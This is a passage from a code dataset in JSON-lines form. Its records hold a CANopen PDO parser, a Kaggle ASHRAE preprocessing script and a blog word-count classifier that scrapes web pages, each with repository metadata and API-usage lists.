"os.path", "line_number": 336, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 338, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 342, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 344, "usage_type": "call"}, {"api_name": "os.path", "line_number": 344, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 345, "usage_type": "call"}, {"api_name": "os.path", "line_number": 345, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 348, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 350, "usage_type": "call"}, {"api_name": "os.path", "line_number": 350, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 354, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 356, "usage_type": "call"}, {"api_name": "os.path", "line_number": 356, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 356, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 357, "usage_type": "call"}, {"api_name": "os.path", "line_number": 357, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 360, "usage_type": "call"}, {"api_name": "json.load", "line_number": 363, "usage_type": "call"}]}
{"seq_id": "4277879313", "text": "import string\nfrom math import ceil, floor\nfrom .eds import EDS\nfrom .utilities import FailedValidationError, get_name, decode, format_bytes\nfrom ..can import MessageType\n\nPDO1_TX = 0x1A00\nPDO1_RX = 0x1600\nPDO2_TX = 0x1A01\nPDO2_RX = 0x1601\nPDO3_TX = 0x1A02\nPDO3_RX = 0x1602\nPDO4_TX = 0x1A03\nPDO4_RX = 0x1603\n\n\ndef parse(cob_id: int, data: bytes, eds: EDS):\n    \"\"\"\n    PDO mappings come from the eds file and is dependent on the type (\n    Receiving/transmission PDO). Mapping value is made up of index subindex\n    and size. For Example 0x31010120 Means 3101sub01 size 32bit\n\n    The eds mapping is determined by the cob_id passed ot this function. That\n    indicated which PDO record to look up in the EDS file.\n    \"\"\"\n    msg_type = MessageType.cob_id_to_type(cob_id)\n    pdo_type = {\n        MessageType.PDO1_TX: PDO1_TX,\n        MessageType.PDO1_RX: PDO1_RX,\n        MessageType.PDO2_TX: PDO2_TX,\n        MessageType.PDO2_RX: PDO2_RX,\n        MessageType.PDO3_TX: PDO3_TX,\n        MessageType.PDO3_RX: PDO3_RX,\n        MessageType.PDO4_TX: PDO4_TX,\n        MessageType.PDO4_RX: PDO4_RX,\n        MessageType.UKNOWN: None\n    }[msg_type]\n\n    if(not pdo_type or msg_type.supertype is not MessageType.PDO):\n        raise FailedValidationError(data,\n                                    cob_id - MessageType.PDO1_TX.value[0],\n                                    cob_id,\n                                    __name__,\n                                    f\"Unable to determine pdo type with given\"\n                                    f\" cob_id {hex(cob_id)}, expected value\"\n                                    f\" between {MessageType.PDO1_TX.value[0]}\"\n                                    f\" and {MessageType.PDO4_RX.value[1] + 1}\")\n\n    if len(data) > 8 or len(data) < 1:\n        raise FailedValidationError(data,\n                                    cob_id - MessageType.PDO1_TX.value[0],\n                                    cob_id,\n                                    __name__,\n                                    f\"Invalid payload length {len(data)} \"\n                                    f\"expected between 1 and 8\")\n    try:\n        eds_elements = eds[hex(pdo_type)][0]\n    except (TypeError, IndexError):\n        raise FailedValidationError(data,\n                                    cob_id - MessageType.PDO1_TX.value[0],\n                                    cob_id,\n                                    __name__,\n                                    f\"Unable to find eds data for pdo type \"\n                                    f\"{hex(pdo_type)}\")\n\n    # default_value could be 2 or '0x02', this is meant to work with both\n    if (c in string.hexdigits for c in str(eds_elements.default_value)):\n        num_elements = int(str(eds_elements.default_value), 16)\n    else:\n        num_elements = int(str(eds_elements.default_value))\n\n    if num_elements < 0x40:\n        return parse_pdo(num_elements, pdo_type, cob_id, eds, data)\n\n    if num_elements in (0xFE, 0xFF):\n        if len(data) != 8:\n            raise FailedValidationError(data,\n                                        cob_id - MessageType.PDO1_TX.value[0],\n                                        cob_id,\n                                        __name__,\n                                        f\"Invalid payload length {len(data)} \"\n                                        f\"expected 8\")\n        return parse_mpdo(num_elements, pdo_type, eds, data, cob_id)\n\n    raise FailedValidationError(data,\n                                cob_id - MessageType.PDO1_TX.value[0],\n                                cob_id,\n                                __name__,\n                                f\"Invalid pdo mapping detected in eds file at \"\n                                f\"[{pdo_type}sub0]\")\n\n\ndef parse_pdo(num_elements, pdo_type, cob_id, eds, data):\n    \"\"\"\n    Parse pdo message. Message will include num_elements elements. Elements\n    are processed in reverse order, from rightmost to leftmost\n    \"\"\"\n    output_string = \"\"\n    data_start = 0\n    for i in range(num_elements, 0, -1):\n        try:\n            eds_record = eds[hex(pdo_type)][i]\n        except (TypeError, IndexError):\n            raise FailedValidationError(data,\n                                        cob_id - MessageType.PDO1_TX.value[0],\n                                        cob_id,\n                                        __name__,\n                                        f\"Unable to find eds data for pdo type\"\n                                        f\" {hex(pdo_type)} index {i}\")\n\n        pdo_definition = int(eds_record.default_value, 16).to_bytes(4, \"big\")\n\n        index = pdo_definition[0:3]\n        size = pdo_definition[3]\n        mask = 1\n        for j in range(1, size):\n            mask = mask << 1\n            mask += 1\n\n        # Possible exceptions from get_name are not caught because they indicate\n        # an issue with the PDO definition in the OD file, which should be\n        # checked when the file is loaded\n        eds_details = get_name(eds, index)\n        num_bytes = ceil(size / 8)\n\n        start = len(data) - num_bytes - floor(data_start / 8)\n        end = len(data) - floor(data_start / 8)\n        masked_data = int.from_bytes(data[start:end], \"big\") & mask\n        masked_data = masked_data >> data_start % 8\n        masked_data = masked_data.to_bytes(num_bytes, \"big\")\n        output_string = f\"{eds_details[1]} -\" \\\n                        f\" {decode(eds_details[0], masked_data)}\" + \\\n                        output_string\n        if i > 1:\n            output_string = \" \" + output_string\n        data_start += size\n\n    return output_string\n\n\ndef parse_mpdo(num_elements, pdo_type, eds, data, cob_id):\n    mpdo = MPDO(data)\n    if mpdo.is_source_addressing and num_elements != 0xFE:\n        raise FailedValidationError(data,\n                                    cob_id - MessageType.PDO1_TX.value[0],\n                                    cob_id,\n                                    __name__,\n                                    f\"MPDO type and definition do not match. \"\n                                    f\"Check eds file at [{pdo_type}sub0]\")\n\n    try:\n        eds_details = get_name(eds, mpdo.index)\n    except KeyError as e:\n        raise FailedValidationError(data,\n                                    cob_id - MessageType.PDO1_TX.value[0],\n                                    cob_id,\n                                    __name__,\n                                    f\"MPDO provided type index does not exist. \"\n                                    f\"Check provided index {str(e)}\")\n\n    except ValueError:\n        raise FailedValidationError(data,\n                                    cob_id - MessageType.PDO1_TX.value[0],\n                                    cob_id,\n                                    __name__,\n                                    f\"MPDO provided type index is missing \"\n                                    f\"attributes. Check OD file provided index \"\n                                    f\"[{format_bytes(mpdo.index)}\")\n\n    return f\"{eds_details[1]} - {decode(eds_details[0], mpdo.data)}\"\n\n\nclass MPDO:\n    \"\"\"\n\n\n .. code-block:: python\n\n\n     +-------------+---------+----------------+\n     |   f   addr  |    m    |       d        |\n     |   7   6_0   |         |                |\n     +-------------+---------+----------------+\n            0        1     3  4             7\n\n Definitions\n ===========\n * **f**: address type\n  0. Source addressing\n  1. Destination addressing\n\n * **addr**: node-ID of the MPDO consumer in destination addressing or MPDO\n producer in source addressing. 0. Shall be reserved in source addressing\n mode. Shall address all CANopen devices in the network that are configured\n for MPDO reception in destination addressing mode. 1..127. Shall address the\n CANopen device in the network with the very same node-ID\n\n * **m**: multiplexer. It represents the index/sub-index of the process data\n to be transferred by the MPDO. In source addressing this shall be used to\n identify the data from the transmitting CANopen device or in destination\n addressing addressing to identity the data on the receiving CANopen device.\n\n * **d**: process data. Data length lower than 4 bytes is filled up to fit\n 32-bit\n    \"\"\"\n\n    def __init__(self, raw_sdo: bytes):\n        self.__is_source_addressing = raw_sdo[0] & 0x8 == 0x8\n        self.__is_destination_addressing = not self.__is_source_addressing\n        self.__addr = raw_sdo[0] & 0x7F\n        self.__index = raw_sdo[1:4]\n        self.__data = raw_sdo[4:8]\n\n    @property\n    def is_source_addressing(self):\n        return self.__is_source_addressing\n\n    @property\n    def is_destination_addressing(self):\n        return self.__is_destination_addressing\n\n    @property\n    def addr(self):\n        return self.__addr\n\n    @property\n    def index(self):\n        return self.__index\n\n    @property\n    def data(self):\n        return self.__data\n", "repo_name": "oresat/CANopen-monitor", "sub_path": "canopen_monitor/parse/pdo.py", "file_name": "pdo.py", "file_ext": "py", "file_size_in_byte": 8904, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 25, "dataset": "github-code", "pt": "71", "api": [{"api_name": "eds.EDS", "line_number": 17, "usage_type": "name"}, {"api_name": "can.MessageType.cob_id_to_type", "line_number": 26, "usage_type": "call"}, {"api_name": "can.MessageType", "line_number": 26, "usage_type": "name"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 28, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 28, "usage_type": "name"}, {"api_name": "can.MessageType.PDO1_RX", "line_number": 29, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 29, "usage_type": "name"}, {"api_name": "can.MessageType.PDO2_TX", "line_number": 30, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 30, "usage_type": "name"}, {"api_name": "can.MessageType.PDO2_RX", "line_number": 31, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 31, "usage_type": "name"}, {"api_name": "can.MessageType.PDO3_TX", "line_number": 32, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 32, "usage_type": "name"}, {"api_name": "can.MessageType.PDO3_RX", "line_number": 33, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 33, "usage_type": "name"}, {"api_name": "can.MessageType.PDO4_TX", "line_number": 34, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 34, "usage_type": "name"}, {"api_name": "can.MessageType.PDO4_RX", "line_number": 35, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 35, "usage_type": "name"}, {"api_name": "can.MessageType.UKNOWN", "line_number": 36, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 36, "usage_type": "name"}, {"api_name": "can.MessageType.PDO", "line_number": 39, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 39, "usage_type": "name"}, {"api_name": "utilities.FailedValidationError", "line_number": 40, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 41, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 41, "usage_type": "name"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 46, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 46, "usage_type": "name"}, {"api_name": "can.MessageType.PDO4_RX", "line_number": 47, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 47, "usage_type": "name"}, {"api_name": "utilities.FailedValidationError", "line_number": 50, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 51, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 51, "usage_type": "name"}, {"api_name": "utilities.FailedValidationError", "line_number": 59, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 60, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 60, "usage_type": "name"}, {"api_name": "string.hexdigits", "line_number": 67, "usage_type": "attribute"}, {"api_name": "utilities.FailedValidationError", "line_number": 77, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 78, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 78, "usage_type": "name"}, {"api_name": "utilities.FailedValidationError", "line_number": 85, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 86, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 86, "usage_type": "name"}, {"api_name": "utilities.FailedValidationError", "line_number": 104, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 105, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 105, "usage_type": "name"}, {"api_name": "utilities.get_name", "line_number": 123, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 124, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 126, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 127, "usage_type": "call"}, {"api_name": "utilities.decode", "line_number": 132, "usage_type": "call"}, {"api_name": "utilities.FailedValidationError", "line_number": 144, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 145, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 145, "usage_type": "name"}, {"api_name": "utilities.get_name", "line_number": 152, "usage_type": "call"}, {"api_name": "utilities.FailedValidationError", "line_number": 154, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 155, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 155, "usage_type": "name"}, {"api_name": "utilities.FailedValidationError", "line_number": 162, "usage_type": "call"}, {"api_name": "can.MessageType.PDO1_TX", "line_number": 163, "usage_type": "attribute"}, {"api_name": "can.MessageType", "line_number": 163, "usage_type": "name"}, {"api_name": "utilities.format_bytes", "line_number": 168, "usage_type": "call"}, {"api_name": "utilities.decode", "line_number": 170, "usage_type": "call"}]}
{"seq_id": "30598006673", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 19 20:45:25 2019\n\n@author: ar1\n\"\"\"\nimport gc\nimport time\nimport numpy as np \nimport pandas as pd\nfrom multiprocessing import Pool\nfrom functools import partial\n\nimport os\nfor dirname, _, filenames in os.walk('C:/Personal/Kaggle/ASHRAE/ashrae-energy-prediction/input'):\n    for filename in filenames:\n        print(os.path.join(dirname, filename))\n        \n## Function to read the data sets\ndef read_data(path):\n    \"\"\"\n    Reads the data from the path and \n    prints the shape and sample rows of the dataframe\n    \"\"\"\n    df = pd.read_csv(path)\n    print(df.shape)\n    print(df.head())\n    return df\n\ndef parse_timestamp(df, col):\n    \"\"\"\n    Converts the timestamp column from object to datetime type\n    \"\"\"\n    df[col] = pd.to_datetime(df[col])\n    return df\n\ndef merge_datasets(train, weather_train, building_metadata):\n    \"\"\"\n    Merges the 3 dataframes train, weather_train and building_metadata\n    to a single dataframe and removes the duplicate rows if any\n    \"\"\"\n    print(\"Merging weather data with building metadata\")\n    weather_build_meta = pd.merge(weather_train, building_metadata, on='site_id', how='left')\n    print(weather_build_meta.shape)\n    \n    print(\"Dropping duplicates, if any\")\n    weather_build_meta = weather_build_meta.drop_duplicates()\n    print(weather_build_meta.shape)\n    \n    print(\"Merging with train data\")\n    final_data = pd.merge(weather_build_meta, train, on = ['building_id', 'timestamp'], how='outer')\n    print(final_data.shape)\n    \n    print(\"Dropping duplicates, if any\")\n    final_data = final_data.drop_duplicates()\n    print(final_data.shape)\n    \n    return final_data\n\ndef parallelize_dataframe(df, group_list, func, **kwargs):\n    \"\"\"\n    Parallelize the dataframe based on groups in a grouped dataframe, \n    runs the specified function on each of the groups in parallel and\n    combines it to a dataframe\n    \"\"\"\n    df_split = df.groupby(group_list)\n    pool = Pool(os.cpu_count())\n#    if args is not None:\n#        func_x=partial(func, **kwargs)\n#    else:\n    func_x = partial(func, **kwargs)\n    ret_list = pool.map(func_x, [group for name, group in df_split])\n    df = pd.DataFrame()\n    print(\"for loop\")\n    for dat in ret_list:\n        df = df.append(dat, ignore_index=True)\n    pool.close()\n    pool.join()\n    return df\n\ndef fill_attributes(df, attr_list):\n    print(df['building_id'].unique()[0])\n    for attr in attr_list:\n        print(attr)\n        attr_value_list = df[attr].dropna().unique().tolist()\n        if len(attr_value_list) == 1:\n            df[attr] = df[attr].fillna(attr_value_list[0])\n        else:\n            print(\"No unique values to fill the attributes\")\n    return df\n\ndef fill_numerical_data(df):\n    print(\"Forward Fill\")\n    df[['air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n       'wind_direction', 'wind_speed']] = df.groupby(['building_id','meter'])['air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n       'wind_direction', 'wind_speed'].fillna(method='ffill')\n    \n    print(\"Backward Fill\")\n    df[['air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n       'wind_direction', 'wind_speed']] = df.groupby(['building_id','meter'])['air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n       'wind_direction', 'wind_speed'].fillna(method='bfill')\n    \n    return df\n    \n\ndef create_features(df, limit_sqft):\n    print(df['building_id'].unique()[0])\n    ## Features from timestamp\n    df['year'] = df['timestamp'].dt.year\n    df['month'] = df['timestamp'].dt.month\n    df['day'] = df['timestamp'].dt.day\n    df['hour'] = df['timestamp'].dt.hour\n    \n    df['age'] = df['year'] - df['year_built']\n    \n    df['square_feet_profile'] = np.where((df['square_feet'] >= limit_sqft['min']) & (df['square_feet'] < limit_sqft['25%']), 'small',\n                                         np.where((df['square_feet'] >= limit_sqft['25%']) & (df['square_feet'] < limit_sqft['50%']), 'medium',\n                                         np.where((df['square_feet'] >= limit_sqft['50%']) & (df['square_feet'] < limit_sqft['75%']), 'big', \n                                         np.where((df['square_feet'] >= limit_sqft['75%']) & (df['square_feet'] < limit_sqft['max']), 'huge', np.nan))))\n    \n    return df\n\n\ndef sine_transform(input_df, normalize_var):\n    \"\"\"Transform a input DF to Sine transform\"\"\"\n    col_names = input_df.columns\n    if len(col_names) == 1:\n        transformed_array = np.sin(2 * np.pi * input_df[col_names[0]] / normalize_var)\n        transformed_df = pd.DataFrame({f'sine_{col_names[0]}': transformed_array})\n    else:\n        transformed_df = None\n    return transformed_df\n\ndef cosine_transform(input_df, normalize_var):\n    \"\"\"Transform a input DF to Cosine transform\"\"\"\n    col_names = input_df.columns\n    if len(col_names) == 1:\n        transformed_array = np.cos(2 * np.pi * input_df[col_names[0]] / normalize_var)\n        transformed_df = pd.DataFrame({f'cosine_{col_names[0]}': transformed_array})\n    else:\n        transformed_df = None\n    return transformed_df\n\ndef create_sin_cos_features(df):\n    print(df['building_id'].unique()[0])\n    df['month_sin'] = sine_transform(df[['month']], 12)\n    df['month_cos'] = cosine_transform(df[['month']], 12)\n\n    df['day_sin'] = sine_transform(df[['day']], 31)\n    df['day_cos'] = cosine_transform(df[['day']], 31)\n\n    df['hour_sin'] = sine_transform(df[['hour']], 23)\n    df['hour_cos'] = cosine_transform(df[['hour']], 23)\n\n    df['wind_dir_sin'] = sine_transform(df[['wind_direction']], 360)\n    df['wind_dir_cos'] = cosine_transform(df[['wind_direction']], 360)\n    \n    return df\n    \n\n\ndef main():\n    start = time.time()\n    #global meter_grp\n    ## Reading Training Data\n    test = read_data('C:/Personal/Kaggle/ASHRAE/ashrae-energy-prediction/input/test.csv')\n    weather_test = read_data('C:/Personal/Kaggle/ASHRAE/ashrae-energy-prediction/input/weather_test.csv')\n    building_metadata = read_data('C:/Personal/Kaggle/ASHRAE/ashrae-energy-prediction/input/building_metadata.csv')\n    \n    ## Parsing Timestamps\n    test = parse_timestamp(test, 'timestamp')\n    weather_test = parse_timestamp(weather_test, 'timestamp')\n    \n    test_final = merge_datasets(test, weather_test, building_metadata)\n    print(test_final.head())\n    print(test_final.columns)\n    print(test_final.shape)\n    \n    del test, weather_test, building_metadata\n    print(gc.collect())\n    \n    for meter in test_final.meter.unique():\n        print (\"Meter \" + str(meter))\n        test_final_0 = test_final[test_final['meter'] == meter].reset_index(drop=True)\n        print(test_final_0.shape)\n        \n        print(\"Filling attribute data\")\n        test_final_0[['building_id', 'site_id', 'primary_use', 'square_feet', 'year_built']] = parallelize_dataframe(test_final_0[['building_id', 'site_id', 'primary_use', 'square_feet', 'year_built']], ['building_id'], fill_attributes, attr_list=['site_id', 'primary_use', 'square_feet', 'year_built'])\n        print(test_final_0.isnull().sum())\n        \n    \n        ## Filling Numerical data\n        print(\"Filling numerical data\")\n        \n        test_final_0[['building_id', 'meter', 'air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n           'wind_direction', 'wind_speed']] = parallelize_dataframe(test_final_0[['building_id', 'meter', 'air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n           'wind_direction', 'wind_speed']], ['building_id','meter'], fill_numerical_data)\n           \n        print(test_final_0.isnull().sum())\n        \n    #    print(\"Forward Fill\")\n    #    test_final_0[['air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n    #       'wind_direction', 'wind_speed']] = test_final_0.groupby(['building_id','meter'])['air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n    #       'wind_direction', 'wind_speed'].fillna(method='ffill')\n    #    print(test_final_0.isnull().sum())\n    #    \n    #    print(\"Backward Fill\")\n    #    test_final_0[['air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n    #       'wind_direction', 'wind_speed']] = test_final_0.groupby(['building_id','meter'])['air_temperature', 'cloud_coverage', 'dew_temperature', 'precip_depth_1_hr', 'sea_level_pressure',\n    #       'wind_direction', 'wind_speed'].fillna(method='bfill')\n    #    print(test_final_0.isnull().sum())\n    #    \n    \n        ## Creating Features\n        print(\"Creating features\")\n        #global limit_sqft\n        limit_sqft = test_final['square_feet'].describe()\n        test_final_0 = parallelize_dataframe(test_final_0, ['building_id'], create_features, limit_sqft=limit_sqft)\n        print(test_final_0.head())\n        \n        print(\"Creating cyclical features\")\n        test_final_0 = parallelize_dataframe(test_final_0, ['building_id'], create_sin_cos_features)\n        print(test_final_0.head())\n        \n        test_final_0.to_csv('C:/Personal/Kaggle/ASHRAE/ashrae-energy-prediction\\output/test_final_'+str(meter)+'.csv', index=False)\n\n    \n    end = time.time()\n    print(end-start)\n    \n    \n    return test_final_0\n\n\nif __name__ == \"__main__\":\n    msg = main()\n    print(msg)\n    \n    ", "repo_name": "Abirami-R59/Kaggle-ASHRAE", "sub_path": "test_preprocessing.py", "file_name": "test_preprocessing.py", "file_ext": "py", "file_size_in_byte": 9505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.walk", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 51, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 67, "usage_type": "call"}, {"api_name": "os.cpu_count", "line_number": 67, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 119, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 138, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 139, "usage_type": "call"}, {"api_name": "time.time", "line_number": 163, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 180, "usage_type": "call"}, {"api_name": "time.time", "line_number": 228, "usage_type": "call"}]}
{"seq_id": "33392204011", "text": "from urllib import request\nfrom urllib.request import Request\n\nfrom bs4 import BeautifulSoup\n\nfrom app.twitter_learning_journal.cachers.webpage_cacher import WebpageCacher\nfrom app.twitter_learning_journal.services.logging_service import LoggingService\nfrom app.twitter_learning_journal.transformers.transform_str import remove_ignore_characters_from_str\n\nlogger = LoggingService('Blogs')\n\n\ndef classify_blogs(details):\n    print(f'total details: {len(details)}')\n    detail_count = 1\n\n    unclassified_blogs = []\n    classified_blogs = []\n    _details = [detail for detail in details if detail.url]\n\n    for detail in _details:\n        is_other = False\n        for url in detail.url.split('|'):\n            if is_other:\n                break\n\n            for other_url_type in not_blog_urls:\n                if is_other:\n                    break\n\n                if other_url_type in url:\n                    logger.info(f'@@@@ URL looks like not blog: {url}')\n                    detail.is_fully_classified = False\n                    detail.type = 'other'\n                    unclassified_blogs.append(detail)\n                    is_other = True\n\n    _details = [detail for detail in _details if detail not in unclassified_blogs]\n\n    for detail in _details:\n        total_count = 0\n\n        for url in detail.url.split('|'):\n            url = url.replace('www.google.com/amp/s/', '')\n\n            if not url:\n                continue\n\n            webpage_cacher = WebpageCacher(url)\n\n            if not webpage_cacher.is_cached():\n                _request = Request(url)\n                _request.headers = headers\n\n                try:\n                    html = request.urlopen(_request).read().decode('utf8')\n                except Exception as e:\n                    print(f'could not open url: {url}')\n                    continue\n\n                webpage_cacher.entity = html\n                webpage_cacher.cache()\n            else:\n                try:\n                    html = webpage_cacher.get()\n                except:\n                    _request = Request(url)\n                    _request.headers = headers\n\n                    try:\n                        html = request.urlopen(_request).read().decode('utf8')\n                    except Exception as e:\n                        print(f'could not open url: {url}')\n                        continue\n\n                    webpage_cacher.entity = html\n                    webpage_cacher.cache()\n\n            html = remove_auxiiary_tags(html)\n\n            _raw = BeautifulSoup(html).get_text()\n            _raw = remove_ignore_characters_from_str(_raw)\n            _raw = ' '.join(_raw.split())\n\n            raw_split = _raw.split()\n            words = len(raw_split)\n\n            devation = default_domain_devation\n            is_found = False\n\n            if words == 0:\n                print('Removed/Redirected URL')\n                continue\n\n            # I feel like this is a common problem that could be optimized\n            for key in domain_deviations.keys():\n                if key in url:\n                    is_found = True\n                    devation = domain_deviations[key]\n\n            if not is_found:\n                print()\n\n            if words > (devation * 1.25):\n                words = words - devation\n\n            print(f'counted words: {words}')\n            total_count += words\n\n        detail_count += 1\n\n        print(f'processed: {detail_count}')\n\n        if total_count == 0:\n            continue\n\n        detail.count = total_count\n        classified_blogs.append(detail)\n\n    return classified_blogs, unclassified_blogs\n\n\ndef remove_auxiiary_tags(html):\n    soup = BeautifulSoup(html)\n    for tag in soup(['script', 'style', 'head']):\n        tag.decompose()\n    return ' '.join(soup.stripped_strings)\n\n\nheaders = {\n    'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) '\n                  'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36'\n}\n\ndefault_domain_devation = 300\n\ndomain_deviations = {\n    'cucumber.io': 200,\n    'blog.jessitron.com': 250,\n    '12factor.net': 25,\n    'interviewcake.com': 550,\n    'yanado.com': 300,\n    'medium.freecodecamp.org': 200,\n    'deque.blog': 300,\n    'shmula.com': 500,\n    'fearlesssalarynegotiation.com': 500,\n    'gizmodo.com': 150,\n    'expertenough.com': 150,\n    'github.io': 100,\n    'employeebenefitadviser.com': 250,\n    'pragprog.com': 150,\n    'treyhunner.com': 500,\n    'scientistlive.com': 700,\n    'fastcodesign.com': 350,\n    'caroli.org': 250,\n    'Caroli.org': 250,\n    'coreyhaines.com': 700,\n    'tjelvarolsson.com': 150,\n    'aits.org': 400,\n    'techbeacon.com': 1700,\n    'curl.trillworks.com': 25,\n    'oswalpalash.com': 25,\n    'theoatmeal.com': 25,\n    'opensource.googleblog.com': 300,\n    'lean.org': 1050,\n    'nyti.ms': 450,\n\n    'quora.com': 150,\n    'hackernoon.com': 175,\n    'insidebigdata.com': 415,\n    'fcc.im': 250,\n    'lornemitchell.com': 400,\n    'medium.com': 350,\n    'wikipedia.org': 1250,\n    'ASP.NET': default_domain_devation,\n    'visualstudio.com': 1500,\n    'devbridge.com': 200,\n    'buff.ly': 600,\n    'ben-evans.com': 200,\n    'runlean.ly': 200,\n    'dev.to': 200,\n    'agileuprising.com': 200,\n    'techcrunch.com': 100,\n    'tobeagile.com': 225,\n    'scrumalliance.org': 1650,\n    'increment.com': 650,\n    'solutionsiq.com': 550,\n    'wordpress.com': 200,\n    'eleganthack.com': 650,\n    'brodzinski.com': 425,\n    'blog.cleancoder.com': 650,\n    'blog.juandelgado.es': 150,\n    'blackswanfarming.com': 400,\n    'thght.works': 400,\n    'zumsteg.net': 350,\n    'ribbonfarm.com': 1600,\n    'curiosity.com': 250,\n    'blogspot.com': 250,\n    'builttoadapt.io': 150,\n    'm.signalvnoise.com': 250,\n    'mcfunley.com': 200,\n    'dbader.org': 800,\n    'martinfowler.com': 300,\n    'thoughtworks.com': 300,\n    'extremeuncertainty.com': 250,\n    'facebook.com': 100,\n    'michaelnygard.com': 150,\n    'vitsoe.com': 150,\n    'a16z.com': 150,\n    'engineering.semantics3.com': 200,\n    'blog.coffeeandcode.com': 150,\n    'motherboard.vice.com': 150,\n    'andrewchen.co': 150,\n    'inc.com': 200,\n    'startupsventurecapital.com': 200,\n    'michaelfeathers.silvrback.com': 50,\n    'blog.wingman-sw.com': 2000,\n    'nataliewarnert.com': 350,\n    'solutionsiq.in': 225,\n    'itrevolution.com': 400,\n    'linkedin.com': 50,\n    'lnkd.in': 50,\n    'mountaingoatsoftware.com': 500,\n    'producthabits.com': 150,\n    'keybase.io': 250,\n    'agilealliance.org': 350,\n    'codemash.org': 250,\n    'stackoverflow.com': 200,\n    'medium': 200,\n    'fastcompany.com': 450,\n    'blog.thedigitalcatonline.com': 750,\n    'sandimetz.com': 150,\n    'stickyminds.com': 400,\n    'laughingmeme.org': 500,\n    'ronjeffries.com': 250,\n    'luis-goncalves.com': 850,\n    